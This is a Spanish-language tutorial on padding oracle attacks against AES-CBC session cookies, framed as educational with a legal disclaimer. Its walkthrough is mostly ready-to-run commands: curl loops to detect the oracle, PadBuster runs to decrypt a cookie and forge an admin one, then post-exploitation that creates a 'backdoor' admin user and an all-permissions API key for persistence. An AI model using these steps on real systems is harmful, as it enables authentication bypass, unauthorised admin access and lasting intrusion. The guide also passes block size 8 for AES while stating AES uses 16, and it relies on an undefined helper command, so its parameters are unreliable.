¿Qué es un Padding Oracle Attack?
Un Padding Oracle Attack explota vulnerabilidades en el cifrado CBC (Cipher Block Chaining) cuando una aplicación revela información sobre la validez del padding de los datos descifrados. Permite descifrar datos cifrados sin conocer la clave.
Requisitos para la vulnerabilidad:
- Cifrado CBC: AES-CBC, 3DES-CBC, etc.
- Oracle de padding: Respuestas diferenciadas según padding válido/inválido
- Acceso a ciphertext: Capacidad de modificar datos cifrados
- Feedback del servidor: Error messages, timing, HTTP codes
Impacto: Descifrado de tokens de sesión, bypass de autenticación, obtención de datos sensibles cifrados.
Fundamentos Criptográficos
Cada bloque de plaintext se XOR con el bloque cifrado anterior antes del cifrado.
C₁ = E(P₁ ⊕ IV)
C₂ = E(P₂ ⊕ C₁)
C₃ = E(P₃ ⊕ C₂)
Relleno estándar que añade bytes cuyo valor indica la cantidad de padding.
Data: [68 65 6c 6c 6f]
Padded: [68 65 6c 6c 6f 03 03 03]
Vectores de Oracle típicos:
- Error messages: "Invalid padding" vs "Invalid data"
- HTTP status: 500 vs 200, 403 vs 404
- Timing attacks: Diferencias en tiempo de respuesta
- Content changes: Cambios en página devuelta
Caso Práctico: Padding Oracle Attack
- Objetivo: Descifrar cookie de sesión y obtener bypass de autenticación
- Vulnerabilidad: Cifrado AES-CBC con oracle de padding vía error messages
- Herramientas: PadBuster, scripts Python, Burp Suite, CyberChef
- Resultado esperado: Descifrado de datos sensibles y generación de tokens válidos
Metodología de Explotación:
Fase 1: Detección del Padding Oracle
# Cookie original capturada
original_cookie="YWRtaW5pc3RyYXRvcgAAAAAAAAAA%2BvX7qF4%2BZ3Q%3D"
# Test padding oracle - Modificar último byte
curl -H "Cookie: session=$modified_cookie" http://target.com/dashboard
# HTTP 500: "Padding is invalid" = Oracle detectado!
# Confirmar oracle con múltiples modificaciones
for i in {0..255}; do
modified=$(echo "$original_cookie" | modify_last_byte $i)
response=$(curl -s -o /dev/null -w "%{http_code}" -H "Cookie: session=$modified" http://target.com/)
echo "Byte $i: HTTP $response"
done
Oracle confirmado: modificaciones del último byte generan respuestas HTTP 500 con mensaje "Invalid padding" versus respuestas normales.
Fase 2: Descifrado con PadBuster
# Ejecutar PadBuster para descifrar cookie completa
padbuster.pl http://target.com/dashboard \
"YWRtaW5pc3RyYXRvcgAAAAAAAAAA%2BvX7qF4%2BZ3Q%3D" \
8 -cookies -encoding 3
# Parámetros:
# URL: Endpoint que contiene el oracle
# Cookie: Valor cifrado a descifrar
# 8: Block size (AES = 16, DES = 8)
# -cookies: Oracle en cookies
# -encoding 3: Base64 + URL encoding
# Output esperado:
# [+] Decrypted value (ASCII): admin;role=user;timestamp=1640995200
Fase 3: Cifrado de Datos Maliciosos
# Crear cookie maliciosa con privilegios admin
padbuster.pl http://target.com/dashboard \
"YWRtaW5pc3RyYXRvcgAAAAAAAAAA%2BvX7qF4%2BZ3Q%3D" \
8 -cookies -encoding 3 -plaintext "admin;role=admin;timestamp=1640995200"
# Resultado: Nueva cookie cifrada con role=admin
malicious_cookie="bmV3X2FkbWluX2Nvb2tpZQAAAABBQkNE%2F1pL8sKm9zX%3D"
# Verificar bypass de autenticación
curl -H "Cookie: session=$malicious_cookie" http://target.com/admin/
# HTTP 200: ¡Acceso administrativo obtenido!
Fase 4: Post-Explotación
# Crear usuario backdoor
curl -H "Cookie: session=$malicious_cookie" \
-X POST \
-d "username=backdoor&password=secret123&role=admin" \
http://target.com/create_user
# Enumeración de funcionalidades admin
curl -b "session=$malicious_cookie" http://target.com/admin/users
curl -b "session=$malicious_cookie" http://target.com/admin/logs
curl -b "session=$malicious_cookie" http://target.com/admin/config
# Establecer persistencia
curl -b "session=$malicious_cookie" \
-X POST \
-d "action=create_api_key&permissions=all" \
http://target.com/admin/api
Resultado: Acceso administrativo completo obtenido mediante bypass criptográfico, capacidad de crear usuarios, acceder a logs sensibles y generar API keys persistentes.
Técnicas Avanzadas y Variantes
Optimizaciones del ataque
- Parallel processing: Múltiples threads para acelerar descifrado
- Smart guessing: Priorizar caracteres ASCII comunes
- Error analysis: Usar timing attacks cuando no hay error messages
- Bit flipping: Modificaciones controladas para bypass directo
- Format prediction: Explotar formatos conocidos de datos (JSON, XML)
Herramientas especializadas
# Padding Oracle Attack Tool (Python)
git clone https://github.com/KishanBagaria/padding-oracle-attacker
python3 padding_oracle_attacker.py -u http://target.com/login -c session
# Burp Extension - Padding Oracle
# BApp Store -> "Padding Oracle"
# Custom Python implementation
# Usar pycryptodome para operaciones criptográficas
pip3 install pycryptodome requests
# Implementar lógica personalizada según oracle específico
Consideraciones Éticas y Legales
Advertencia Legal: Este contenido es exclusivamente educativo. Los ataques de padding oracle son ilegales cuando se realizan sin autorización explícita. Úsalos solo en sistemas propios, laboratorios controlados o durante auditorías de seguridad autorizadas por contrato escrito.